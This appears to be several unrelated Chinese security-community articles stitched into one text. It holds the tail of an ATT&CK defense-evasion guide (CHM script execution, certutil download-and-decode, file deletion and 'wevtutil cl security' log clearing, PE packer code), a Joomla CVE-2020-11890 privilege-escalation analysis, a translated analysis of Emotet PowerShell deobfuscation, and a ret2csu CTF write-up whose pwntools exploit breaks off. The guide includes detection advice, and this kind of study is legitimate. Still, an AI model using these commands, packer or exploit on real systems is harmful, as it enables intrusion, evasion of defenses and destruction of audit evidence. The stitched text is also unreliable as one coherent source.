3. <https://jingyan.baidu.com/article/2c8c281d7f7f610008252af8.html>
### 16、CHM文件隐藏代码执行
#### 原理及代码介绍
CHM文件是一种“已编译的HTML文件”，是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来打开的。CHM文件可以包含各种文件，如HTML文件，图像以及与脚本相关的编程语言。攻击者可能会滥用此技术来隐藏恶意代码，传输包含代码的自定义CHM文件。并且可以绕过一些未升级的系统上的应用程序白名单。Silence组织就曾使用恶意CHM文档攻击俄罗斯银行。
编写CHM文件需要准备一个HTML文件，如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<script type="text/javascript">
var objShell
var objShell= new ActiveXObject("WScript.Shell")
var iReturnCode=objShell.Run("calc.exe",0,true)
</script>
</head>
<body>
</body>
</html>
了解HTML文件格式可以访问：[HTML文件格式](https://baike.baidu.com/item/HTML文件/7176861?fr=aladdin)
众所周知，HTML文件不能执行cmd命令，编译成CHM文件就可以完美执行。
CHM文件的制作工具比较多，本次介绍一款工具 easy
chm，可以去[官网](http://www.etextwizard.com/easychm.html)下载。
打开easy chm后点击新建
将HTML文件单独放在一个文件夹中，浏览的路径是一个文件夹路径
确定之后，点击编译即可
#### 运行效果图
双击运行生成的CHM文件，弹出计算器
#### 检查及限制方案
1. 监视和分析hh.exe的执行和参数。将最近对hh.exe的调用与已知的参数的历史进行比较，以确定异常和潜在的对抗性活动。
2. 监视CHM文件的存在和使用。
#### 参考链接
1. <https://attack.mitre.org/techniques/T1223/>
2. <https://baike.baidu.com/item/HTML文件/7176861?fr=aladdin>
3. <http://www.etextwizard.com/easychm.html>
### 17、本机程序编译代码执行
#### 原理及代码介绍
当进行数据的传输时，Windows可能会对可执行文件进行分析和检查。如果将文件作为未编译代码传递，这些代码的行为就会难以被发现和分析。当然这些代码需要编译后执行，通常是通过本机的实用工具（如csc.exe）进行编译。
csc.exe是微软.NET Framework
中的C#语言编译器，在环境变量里加入csc.exe的路径：C:\Windows\Microsoft.NET\Framework\v4.0.30319（注意,路径和版本号会因为你的安装和下载的不同而不同,自己到安装目录下看看）。
用记事本编写源代码：
using System;
using System.Windows.Forms;
class TestApp
{
public static void Main()
{
MessageBox.Show("Hello!");
}
}
保存为.cs文件，在cmd命令行中执行命令：csc /reference:System.Windows.Forms.dll TestApp.cs
即可编译成TestApp.exe。
关于csc.exe详细命令参数可参考：[csc.exe命令](https://baike.baidu.com/item/csc.exe/9323691?fr=aladdin)
MinGW(Minimalist GNU For
Windows)是个精简的Windows平台C/C++、ADA及Fortran编译器。[下载地址](http://www.mingw.org/)。
安装完成之后，配置环境变量，可以编译.c文件。
命令：gcc test.c -o test
这种技术可以绕过基于签名的检测，白名单等。
#### 运行效果图
cse.exe
编译完成并生成exe文件。
MinGW:
命令行编译完成，生成exe文件
#### 检查及限制方案
1. 监视常用编译器(如csc.exe)的执行文件路径和命令行参数，并与其他可疑行为相关联。
2. 寻找非本地二进制格式和跨平台编译器和执行框架，如Mono，并确定它们在系统上是否有合法的用途。
#### 参考链接
1. <https://attack.mitre.org/techniques/T1500/>
2. <https://baike.baidu.com/item/csc.exe/9323691?fr=aladdin>
3. <http://www.mingw.org/>
### 18、间接命令执行
#### 原理及代码介绍
在Windows系统中可以使用各种Windows实用程序来执行命令，而不需要调用CMD。攻击者可能会滥用这些特征来绕过一些防御机制，如应用程序白名单等。
使用 Forfiles 可以通过不直接调用CMD，来隐藏命令执行。
Forfiles是一款windows平台的软件工具，其中选择文件并运行一个命令来操作文件。文件选择标准包括名称和上次修改日期。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用，也可以在批处理文件或其他脚本中使用。forfiles命令最初作为加载项提供在Windows
NT 资源工具包中。它成为Windows Vista的标准实用程序，作为新管理功能的一部分。
具体Forfiles使用参数参考：
#### 运行效果图
运行Forfiles
#### 检查及限制方案
监视和分析来自基于主机的检测机制(如Sysmon)的日志，查看包含或由调用程序，命令，文件，生成子进程，网络连接相关的参数的进程创建等事件。
#### 参考链接
1. <https://attack.mitre.org/techniques/T1202/>
2. <https://jingyan.baidu.com/article/495ba8419d37ff38b20ede48.html>
### 19、解码文件并执行
#### 原理及代码介绍
攻击者可以混淆文件或信息，从而无法分析恶意代码的行为和信息。混淆的方法有很多，比如最简单的异或和其它的加密算法。下面介绍一种恶意软件使用过的方法。
Windows有一个名为CertUtil的内置程序，可用于在Windows中管理证书，使用此程序可以在Windows中安装，备份，删除，管理和执行与证书和证书存储相关的各种功能。
攻击者可以利用certutil.exe把二进制文件（包括各种文件）经过base64编码为文本，这样可以将可执行文件隐藏在文件中，使恶意代码样本看起来像是无害的文本文件。
先将程序编码为文本：
certutil -encode hello.exe hello.txt
下载文件到本地
certutil -urlcache -split -f [URL] hello.txt
将文本解码为程序
certutil -decode hello.txt hello.exe
也可以将程序编码为批处理文件（bat），在文件头部添加几行批处理代码
@echo off`
`certutil -decode "%~f0" hello.exe`
`start hello.exe`
`exit /b 1
像这种编码混淆文件的方法可以绕过基于签名的检测，网络入侵检测等，较多的恶意代码样本使用了此技术。
#### 运行效果图
执行完encode后生成的txt文件和bat文件内容
执行decode解码为exe文件，或直接执行bat脚本文件，代码顺利执行
#### 检查及限制方案
执行进程和命令行监视，以检测与脚本和系统实用程序相关的潜在恶意行为。
#### 参考链接
<https://attack.mitre.org/techniques/T1140/>
### 20、入侵痕迹清除
#### 原理及代码介绍
在分析恶意代码的时候，大家通常都会看到很多删除文件的操作。通过删除文件，攻击者可以清除入侵过程中的痕迹，防止留下证据被防御者找到。删除文件的方法有很多，大多数是用一些库函数，API,system命令等等。具体代码如下：
int main()
{
string dirName = "D:\\test";
bool flag = RemoveDirectory(dirName.c_str());`
return 0;
}
int main()
{
string path = "c:\\test.chm";
rmdir(path.c_str());
return 0;
}
int main()
{
string command;
command = "rd /s /q c:\\test ";
system(command.c_str());
}
int main()
{
string command;
command = "del /F /Q C:\test.txt ";
system(command.c_str());
}
不过大家都知道，在Windows下删除文件其实不是真的删除， 只是把那个文件的某个属性从0标识成1，你看不见而已。这也是为什么被删除的数据，可以恢复的道理。
所以也有很多恶意代码使用删除文件工具，进行安全删除。如SDelete，它安全地删除没有任何特殊属性的文件相对而言简单而直接：安全删除程序使用安全删除模式简单地覆盖文件。较为复杂的是安全地删除
Windows NT/2K 压缩、加密和稀疏文件，以及安全地清理磁盘可用空间。 感兴趣的可以参考：
除了删除文件，一般还会清除日志Windows事件日志。Windows事件日志是计算机警报和通知的记录。Microsoft将事件定义为“系统或程序中需要通知用户或添加到日志中的任何重要事件”。事件有三个系统定义的来源：系统、应用程序和安全。执行与帐户管理、帐户登录和目录服务访问等相关的操作的对手可以选择清除事件以隐藏其活动。
程序命令执行清除事件日志：
wevtutil cl system
wevtutil cl application
wevtutil cl security
#### 运行效果图
运行SDelete如图所示
![avatar]
清除系统日志
![avatar]
#### 检查及限制方案
1. 在环境中检测与命令行函数（如 DEL，第三方实用程序或工具 ）相关的不常见的事件。
2. 监视执行删除功能可能会导致的恶意活动。
3. 监视已知的删除工具和安全删除工具 。
4. 使用文件系统监视文件的不当删除或修改。例如，删除Windows事件日志。
#### 参考链接
1. <https://attack.mitre.org/techniques/T1107/>
2. <https://attack.mitre.org/techniques/T1070/>
3. <https://docs.microsoft.com/zh-cn/sysinternals/downloads/sdelete>
### 21、文件加壳
#### 原理及代码介绍
软件打包指的是对可执行文件进行压缩或加密。打包可执行文件会更改文件签名，以避免基于签名的检测。通常我们称软件打包为加壳。
当一个程序生成好后，很轻松的就可以利用诸如资源工具和反汇编工具对它进行修改，但如果程序员给程序加一个壳的话，那么至少这个加了壳的程序就不是那么好修改了，如果想修改就必须先脱壳。而且壳的解压缩是在内存中进行的，能检测到的杀毒软件就很少。大部分的程序是因为防止反跟踪，防止程序被人跟踪调试，防止算法程序不想被别人静态分析。加密代码和数据，保护你的程序数据的完整性。不被修改或者窥视你程序的内幕。
现在有很多加壳器，例如MPress和UPX。也可以写一个自己的加壳器。针对PE文件写加壳器需要对PE文件的格式和各种结构有充分的了解。
下面是加壳器的主要代码
//增加区段
void CPackPE::AddSection1(char*& pFileBuff, int& fileSize, const char* scnName, int scnSize)
{
// 1.1 增加文件头的区段个数
GetFileHeader(pFileBuff)->NumberOfSections++;
// 1.2 配置新区段的区段头
IMAGE_SECTION_HEADER* pNewScn = NULL;
pNewScn = GetLastSection(pFileBuff);
PIMAGE_SECTION_HEADER pLastSection = pNewScn - 1;
// 1.2.1 区段的名字
memcpy(pNewScn->Name, scnName, 8);
// 1.2.2 区段的大小(实际大小/对齐后大小)
pNewScn->Misc.VirtualSize = scnSize;
pNewScn->SizeOfRawData =
aligment(scnSize,
GetOptionHeader(pFileBuff)->FileAlignment);
// 新区段的内存偏移 = 上一个区段的内存偏移+上一个区段的大小(内存粒度对齐后的大小)
pNewScn->VirtualAddress =
pLastSection->VirtualAddress +
aligment(pLastSection->Misc.VirtualSize,
GetOptionHeader(pFileBuff)->SectionAlignment);
// 设置文件偏移和文件大小
while (TRUE)
{
if (pLastSection->PointerToRawData)
{
// 找到前一个非0的区段
pNewScn->PointerToRawData = pLastSection->PointerToRawData +
pLastSection->SizeOfRawData;
break;
}
pLastSection = pLastSection - 1;
}
// 1.2.4 区段的属性(0xE00000E0)
pNewScn->Characteristics = 0xE00000E0;
// 2. 修改扩展头的映像大小
GetOptionHeader(pFileBuff)->SizeOfImage = pNewScn->VirtualAddress + pNewScn->Misc.VirtualSize;
// 3. 扩充文件数据的堆空间大小
int newSize = pNewScn->PointerToRawData + pNewScn->SizeOfRawData;
char* pNewBuff = new char[newSize];
memcpy(pNewBuff, pFileBuff, fileSize);
// 释放旧的缓冲区
delete[] pFileBuff;
// 将新的缓冲区首地址和新的文件大小赋值给形参(修改实参)
fileSize = newSize;
pFileBuff = pNewBuff;
}
这里是部分壳代码
//修复IAT
void DealwithIAT()
{
// 1.获取第一项iat项
// 1.获取加载基址
// 2.获取导入表的信息
g_dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(g_dwImageBase + g_conf.ImportTableRva);
// 3.解析导入表信息
HMODULE hMoudle;
PDWORD TableIAT = NULL;
DWORD ThunkRVA;
while (pImport->Name)
{
//获取dll基址
hMoudle = MyLoadLibraryA((char*)(pImport->Name + g_dwImageBase));
// 是否是有效的IAT
if (pImport->FirstThunk == 0)
{
++pImport;
continue;
}
TableIAT = (PDWORD)(pImport->FirstThunk + g_dwImageBase);
if (pImport->OriginalFirstThunk == 0)
{
ThunkRVA = pImport->FirstThunk;
}
else
{
ThunkRVA = pImport->OriginalFirstThunk;
}
PIMAGE_THUNK_DATA lpThunkData = (PIMAGE_THUNK_DATA)(g_dwImageBase + ThunkRVA);
DWORD dwFunName;
while (lpThunkData->u1.Ordinal != 0)
{
// 名称导出
if ((lpThunkData->u1.Ordinal & 0x80000000) == 0)
{
PIMAGE_IMPORT_BY_NAME lpImportByName = (PIMAGE_IMPORT_BY_NAME)(g_dwImageBase + lpThunkData->u1.Ordinal);
dwFunName = (DWORD)&lpImportByName->Name;
}
else
{
dwFunName = lpThunkData->u1.Ordinal & 0xFFFF;
}
DWORD dwFunAddr = (DWORD)MyGetProcAddress(hMoudle, (char*)dwFunName);
DWORD dwOldProtect = 0;
MyVirtualProtect(TableIAT, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
dwFunAddr = EncryptFun(dwFunAddr);
*(TableIAT) = dwFunAddr;
MyVirtualProtect(TableIAT, 4, dwOldProtect, &dwOldProtect);
++TableIAT;
++lpThunkData;
}
++pImport;
}
}
//修复目标PE的重定位表
void FixPEReloc()
{
// 获取当前进程的加载基址
DWORD dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
// 1. 修复目标PEg_dwImageBase
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(g_conf.stcReloc.VirtualAddress + dwImageBase);//g_dwImageBase
while (pReloc->SizeOfBlock)
{
PWORD pOffsetType = (PWORD)((DWORD)pReloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD dwCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
// 修改内存属性
DWORD dwOldProtect = 0;
MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 循环检查重定位项
for (DWORD i = 0; i < dwCount; ++i)
{
WORD dwOffset = *pOffsetType & 0xFFF;
WORD dwType = *pOffsetType >> 12;
// 去除无效的重定位项
if (!*pOffsetType) continue;
if (dwType == 3)
{
// 获取此重定位项指向的指针
DWORD dwPointToRVA = dwOffset + pReloc->VirtualAddress;
PDWORD pdwPtr = (PDWORD)(dwPointToRVA + dwImageBase);
// 计算增量值
DWORD dwIncrement = dwImageBase - g_conf.dwDefaultImageBase;
DWORD OldProtect = 0;
MyVirtualProtect((PBYTE)(pdwPtr), 0x4, PAGE_EXECUTE_READWRITE, &OldProtect);
// 修改重定位项
*((PDWORD)pdwPtr) += dwIncrement;
MyVirtualProtect((PBYTE)(pdwPtr), 0x4, OldProtect, &OldProtect);
}
// 下一轮循环
++pOffsetType;
}
// 恢复内存访问属性
MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, dwOldProtect, &dwOldProtect);
// 下一个重定位块
pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock);
}
}
通过加壳，修改了文件的大小，签名等信息，可以绕过基于特征的检测，防止被静态分析，是恶意代码常用的伎俩。
#### 运行效果图
目标程序被加壳后，发现PE文件多了一个区段，这里面就是壳程序
#### 检查及限制方案
使用文件扫描来查找已知的软件包装器或包装技术的工件。
#### 参考链接
<https://attack.mitre.org/techniques/T1045/>
## 三、结语
防御逃逸所拥有的技术是MITRE
ATT&CK框架所述战术中最多的，详细介绍了防御逃逸技术的不同方向以及相同方向上的不同手段。通过上文的介绍，大家可以看到达到相同的目的可以用到不同的技术手段。当然随着防御者根据这些
**策略** 的 **更新** ，攻击者也在寻找 **更隐蔽** 的方法来绕过安全工具的 **检测** 和 **防御**
。这就要求防御者能够与时俱进，紧跟技术发展的脚步。本文到此就结束了，希望大家都能有所收获！
* * * | 社区文章 |
## 漏洞简介
近日，joomla官方给出了一个安全公告。从公告可知Joomla! CMS versions 2.5.0 -3.9.16版本在处理用户组时缺少对根用户组的检查，从而导致了一个提权漏洞的产生(CVE-2020-11890)。
经过我分析之后发现，想要利用这个漏洞，必须先要有一个管理员账号，而这个漏洞的作用仅仅能将管理员提权为超级管理员。
虽然这个漏洞看起来无比鸡肋，但是分析过程却其乐无穷：既了解joomla是如何实现用户组权限划分，又复习了下数据结构。总体上来说漏洞虽小，但分析过程还是很有研究与记录价值的。
## 漏洞分析
本次漏洞可以将joomla系统中的Administrator用户提权为Super Users。在分析漏洞前，我们来看一下Super
Users与Administrator有什么区别：
超级管理员 (Super Users)：拥有Joomla的所有权限。并且超级管理员只能由另一个超级管理员来创建。
高级管理员（Administrator）：Administrator没有权限将一个用户升级成超级用户或者编辑一个超级用户、不可以修改Joomla的全局设置，没有权限来改变和安装模板和Joomla的语言文件。
作为测试，我们新建三个账号，分别为administrator（administrator用户组）、Super User（Super
User用户组）、test（administrator用户组）
使用Administrator账号登陆，访问Joomla全局设置链接
/administrator/index.php?option=com_config
可见Administrator用户组权限不可以访问该功能页面。
使用Administration账号编辑test账号的用户组
Administrator用户组权限不可以为其他的用户添加super user权限
使用Superuser账号登陆，访问Joomla全局设置链接
Superuser权限可以访问Joomla全局设置页面
使用Superuser账号编辑test账号的用户组
可以为test账号添加super user权限
### 关于漏洞的初步猜测
在刚看到漏洞简介时，我猜测会不会是joomla只在前端做了校验，使用Administration账号编辑test账号的用户组时，在前端把super
user这个选项卡隐藏起来了，后端并未校验权限，使得漏洞产生。
为了验证我的猜想，我在修改test用户组时抓包并修改其中的jform[groups]值
每一个用户组都有一个id值，这个可以通过数据库中查看得来
因为我需要将test账号改为super users用户组权限，因此需改数据包中jform[groups]值为8
经过测试发现，这是行不通的
在猜想失败之后，只好动态调试一下源代码，看一下joomla是如何进行权限校验的
### 动态调试
既然在上文猜想中，我们强行改包时抛出了个Save failed with the following error: User not Super
Administrator错误，那么直接在源代码中找到抛出错误的位置libraries\src\User\User.php
可见上图中，只要checkGroup方法为真，则进入if分支抛出Save failed with the following error: User not
Super Administrator错误
首先来看下getGroupPath
getGroupPath的作用是通过传入的groupid参数，获取要查询的用户组分支中叶子节点所属用户组，并返回到树的根节点。简而言之，就是获取用户组列表——groups列表中对应用户组的path属性值
### 用户组列表（groups）
我们来看下groups列表是什么，是怎么生成的
用户组列表（groups）中记录了所有用户组的属性值，包括名称、id、双亲节点信息、该节点的祖先数组
接下来分析下groups列表是怎么生成的
首先，程序从数据库usergroups表中读取每一个用户组的属性值
数据库中数据如下
程序读取后赋值到groups数组中
接着调用populateGroupData方法对groups数组中每个用户组数据进行补充
在这一环节，程序将为每一个用户组提供path与level属性值
其中path属性就是树形结构中以该用户组节点的祖先(Ancestor)数组、level即为该结点的层次(Level
of Node)
回顾一下数据库中每个用户组的属性值，这里注意parent_id值
除了Public父节点为0之外，其他的用户组在表中都存在对应的双亲节点。可见Public用户组为树形结构中的根节点，层次为1。
Registered、Manager、Super Users、Guest的双亲节点id皆为1，即Public节点 。层次为2
剩余的用户组节点分别以Registered、Manager、Super Users、Guest四个节点作为双亲节点。
用户节点的树形图如下
动态调试结果如下
从上图可见，这里以Public用户组节点举例：Public作为根节点，其path以及level生成时比较特殊，进入parentid为0的if分支，最终祖先数组path为array(0
=> '1')， level为0
再以Registered、Manager、Super Users、Guest这四个层次为2的用户组节点中的Guest节点为例
Guest节点的path为array (0 => '1',1
=>'9',)，level为1。Path是由Guest节点所有祖先组成的集合，level值为该节点层数减一
最后看一下其他层次大于2的节点，以Administrator用户组节点举例
从数据库中可见，Administrator用户组双亲节点id为6，对应
Manager节点，Manager用户组节点的双亲节点id为1，对应Public用户组节点。其层次为3
通过调试也可看出，Administrator用户组节点的祖先数组path为array (0 => '1', 1 =>'6', 2 =>
'7',)，level为2
在弄明白groups列表之后，看一下程序是如何判断当前用户的权限判断的
回到checkGroup方法中
上文以及指导getGroupPath方法的作用了，由于我们请求构造中的\$groupid为8，即想把test账号添加到id为8对应的super
users组。getGroupPath接收传入的\$groupid,返回super user节点的祖先数组array (0=> '1', 1 =>
'8',)
接着，在libraries\src\Access\Rule.php的allow方法中，程序遍历superuser的祖先数组array
(0 => '1', 1 => '8',)
程序判断superuser的祖先节点是否有在\$this->data中出现，\$this->data值如下
\$this->data数组代表目前用户不可以访问的节点id。由于我们使用的是administrator用户组的账号，不可以操作的用户组节点id为8，即super
user，因此\$this->data数组值为array (8 => 1,)
superuser的祖先数组中的叶子节点值为8，正好在目前用户不可以访问的\$this->data数组中
因此该用户权限无法进行操作，程序抛出当前用户不是超级管理员的错误
## 漏洞利用
通过分析poc发现，这个漏洞利用特别的脑洞大开
首先看一下Poc中上图片段，poc把public节点的双亲节点改成100，当然这个数字可以为表中任意不存在的id值
这样做的目的是给原先的根节点public节点安一个双亲节点
由于administrator权限的用户\$this->data数组值为array (8 =>1,)，仅不允许操作super
user权限节点，但public对应的祖先数组array (0
=>'1')可不在禁止之列，因此administrator权限的用户可以构造上图poc中的数据包，修改public节点的双亲节点
public节点的双亲节点由0修改为poc中的100后，造成了很大的混乱
程序在处理Public用户组时，由于parentId为100，不再进入if (\$parentId
===0)分支，然而id为100对应的parentGroup并不存在，导致\$parentGroup->path值为null
这样以来，array_merge将一个null和一个数组进行拼接,由于array_merge首参不接受null作为参数使得程序产生错误，\$group->path也变成null
进而由 count(\$group->path) – 1得出的level值变为-1（0-1得来）
由于根节点Public的path为null，使得所有后续用户组节点的path都是基于其双亲节点的path值array_merge计算而来，所以所有节点的祖先数组全都为null
在检查当前用户无法访问的节点是否在path中时，由于所有节点的path都为null，所有无法将其祖先列表中的节点一一拿出与无法访问节点列表中的值比对，从而得以逃避检查
关于漏洞利用工具可见如下链接：
<https://github.com/HoangKien1020/CVE-2020-11890>
## 题外话
在数据库的用户组表中lft和rgt的作用是什么？
从表中可以看到有lft和rgt两列，这两列的目的在于：
在树状数据结构中，每一个节点都有一个左右值即lft和rgt。如果右值-左值=1，则代表当前节点为叶子节点；相反，如果右值-左值>1，则代表当前节点有子节点，其他左右值在当前节点左右值之间的节点，即为当前结点的所有子节点。从下图可以很好理解其中关系
这个漏洞虽然影响不是很大，joomla官方仅仅给出了低危评分，但是这个漏洞分析起来很有意思，顺带复习了下数据结构。 | 社区文章 |
本文翻译自：
<https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/>
原标题:Deobfuscating Emotet’s powershell payload
* * *
Emotet是2014年发现的一个银行木马，之后研究人员发现了大量的emotet垃圾邮件活动，使用多种钓鱼方法诱使用户下载和加载恶意payload，主要使用武器化的word文档。
Emotet感染链
用户在收到假的email时，点击Email中的链接后，就会下载武器化的doc文档。然后恶意文档会诱使用户启用内容和宏来加载嵌入的VBA代码。但是VBA代码是混淆过的，二球最后会加载一个power
shell命令。下面讲述使用沙箱和powershell审计技术在不解混淆的情况下获取VBA代码加载的powershell命令。
Emotet文档示例
# 混淆方法
Powershell代码本身也是经过混淆的，在虚拟环境下加载的问题就是我们可能看不到任何网络IoC。最好的办法就是将代码解混淆，这样才能更好地理解它。
混淆是一种使恶意代码不便于阅读的方法，有两个作用：
* 一是欺骗反病毒软件的签名；
* 二是使对恶意代码的分析更耗时间也更困难。
下面介绍2017年12月起Emotet恶意软件使用的三种混淆方法：
## 1.字符串替换方法
字符串替换方法使用多个powershell的replace功能来交换无用的字符串和一些关键字，最终产生有效的power shell代码。
例1 用代码替换方法混淆的代码
可以通过替换字符串的方式在文本编辑器中解混淆混淆后的代码，用正则表达式可以加速这一过程。最后可以通过python脚本中的正则表达式自动完成解混淆。
在python中实施解混淆时应注意：
* 字符串连接。代码中的+会使正则表达式出错，因为需要提前处理。
* 字符类型映射。有时候为了增强混淆的效果，字符串可能不是直接用power shell中的代码类型替换，而是用int转化为char。因此也需要提取处理。
* 替换代码的一部分会生成新的替换。这是因为无用字符串可能是在替换器的中间，因此，最好把正则表达式加入循环中，如果还可以替换就一直替换。
反混淆例1中代码的结果
## 2.字符串压缩
字符串压缩方法也很简单，使用power shell内置的`DeflateStream`类来解压缩和执行压缩流。
例2 解压缩字符串混淆方法
最简单的解混淆方法是用power shell简单的解压缩字符串。
需要注意的是要手动移除前两个括号中的命令，因为这是混淆的Invoke-Expression
cmdlet（接受任何字符串输入并将它视为PowerShell代码）。在处理恶意代码时，最好使用安全的虚拟环境。
powershell中使用的解压缩反混淆方法
查看MSDN文档，可以看到RFC 1951
Deflate数据格式说明中的`DeflateStream`类，所以可以用zlib库完成解压缩。Zlib的解压缩方法默认需要准确的zlib文件头，而`DeflateStream`是不需要的，因为这就变成了一个流而不是文件。为了让zlib解压缩流，可以在文件中加一个header或者简单的传递一个`zlib.MAX_WBITS`参数给解压缩函数。`zlib.MAX_WBITS`参数如果是负值就表示解压缩函数应该跳过header位。
## 3.ASCII代码数组
计算机用0101数字串来表示字符串，但对人类而言，字符串更易读，所以数字串要通过程序转变成字符串。如果混淆的目的是使代码更难读取，那么为什么还要隐藏恶意代码的真实目的呢？因此，就有了ASCII码数组混淆方法。
例3 ASCII码数组混淆方法
在图5的例子中，我们可以看到一些含有数字的长字符串。如果熟悉ASCII码，可能就可以马上认出来。如果不熟悉的话，可以通过映射表将数字转化为`int`然后在转化为`char`。例子中的方法使用了切割函数，通过给定的分割器将字符串分割开来进行下一步的混淆。
为了在python中解混淆代码，可以使用一个简单的`split`方法，然后用`chr()`函数将字符与数字进行映射。
用split方法在python中解混淆出的ASCII码数组
# 真实代码
在解混淆出源代码后，可以看出是一个简单的释放器，用`WebClient`类来连接硬编码的域名，在`%TEMP%`目录下载二进制文件，然后加载。代码中使用`break`，`try-catch`语句来确保脚本在下载完成前能够连接到域名。
# Invoke-Expression
许多混淆的power shell脚本都用`Invoke-Expression cmdlet`来把混淆后的字符串当作代码运行。在Windows
console中运行power shell恶意代码是有必要的，因为如果没有`invoke-expression cmdlet`混淆后的恶意代码就不能运行。
因此，找出伪装的`Invoke-Expression cmdlet`就非常重要。首先，power shell允许为长命令使用缩写。所以`Invoke-Expression`的内置缩写就是`iex`，但power shell还允许将字符串连接并用作`cmdlets`，而且字符串可以保存为变量。
这就是问题所在，我们可以用`DeflateString`压缩的例子来说明。脚本开始的一行代码是：
`$vERBOsepreFErEncE.tOStRIng()[1,3]+'X'-JoIn''`
这行代码将power
shell内置变量`$verbosepreference`的值转化为字符串，然后在第2和第4个字符后面连接了X，之后再用join将所有的字符连接成一个字符串。
那么变量`$verbosepreference`的默认值是什么呢？`SilentlyContinue`，第2个第4个字符分别是i和e。当连接一个x后就变成了`iex`，也就是`Invoke-Expression cmdle`t的缩写。事实上，这类技巧在power shell中应用还是很普遍的，尤其是在恶意软件开发者中。
Invoke-Expression混淆示例
* * *
作者给出了Emotet反混淆源码，下载地址：<https://github.com/lasq88/deobfuscate/> | 社区文章 |
# ret2csu
## 原理
在 64 位程序中，函数的前 6
个参数是通过寄存器传递的，分别是rdi、rsi、rdx、rcx、r8、r9,第7个以后的参数存放在栈中，gadget不够时可以使用__libc_csu_init
中的 gadgets
利用libc_csu_init中的两段代码片段来实现3个参数的传递
### 例题
#### level5
与ctfwiki上的例题有细微的差别，但解题思路是一样的
##### __libc_csu_init
.text:0000000000401190 ; void _libc_csu_init(void)
.text:0000000000401190 public __libc_csu_init
.text:0000000000401190 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000401190 ; __unwind {
.text:0000000000401190 push r15
.text:0000000000401192 mov r15, rdx
.text:0000000000401195 push r14
.text:0000000000401197 mov r14, rsi
.text:000000000040119A push r13
.text:000000000040119C mov r13d, edi
.text:000000000040119F push r12
.text:00000000004011A1 lea r12, __frame_dummy_init_array_entry
.text:00000000004011A8 push rbp
.text:00000000004011A9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011B0 push rbx
.text:00000000004011B1 sub rbp, r12
.text:00000000004011B4 sub rsp, 8
.text:00000000004011B8 call _init_proc
.text:00000000004011BD sar rbp, 3
.text:00000000004011C1 jz short loc_4011DE
.text:00000000004011C3 xor ebx, ebx
.text:00000000004011C5 nop dword ptr [rax]
.text:00000000004011C8
.text:00000000004011C8 loc_4011C8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D5 add rbx, 1
.text:00000000004011D9 cmp rbp, rbx
.text:00000000004011DC jnz short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE add rsp, 8
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
.text:00000000004011EC ; } // starts at 401190
.text:00000000004011EC __libc_csu_init endp
##### 对第一段gadget的分析
* 1.add不需要，所以不必使用
* 2.把值pop到rbx寄存器中
* 3.把值pop到r12寄存器中
* 4.把值pop到r13寄存器中
* 5.把值pop到r14寄存器中
* 6.把值pop到r15寄存器中
* 7.返回
##### 对第二段gadget的分析对第二段gadget的分析
* 1.把r15的值传给rdx
* 2.把r14的值传给rsi
* 3.把r13的低32位的值传给rdi
* 4.调用函数
* 5.rbx的值加1
* 6.比较rbp和rbx的值
* 7.不为0(不相等)跳转，0(相等)则不跳转
##### 总结一下
* 1.利用r13控制rdi
* 2.利用r14控制rsi
* 3.利用r15控制rdx
* 4.将rbx设置为0才不会产生偏移
* 5.利用call调用函数(call函数为跳转到某地址内所保存的地址，应该使用got表中的地址)
* 6.令rbp=rbx+1防止跳转
##### checksec
##### ida
##### exp
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level = 'debug')
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x00000000004011C8
csu_end_addr = 0x00000000004011E2
fakeebp = b'b' * 8
#def csu(0,1,call,rdi,rsi,rdx,last)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = b'a' * (0x80) + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * (0x38)
payload += p64(last)
sh.send(payload)
#sleep(1)
sh.recvuntil(b'Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil(b'Hello, World\n')
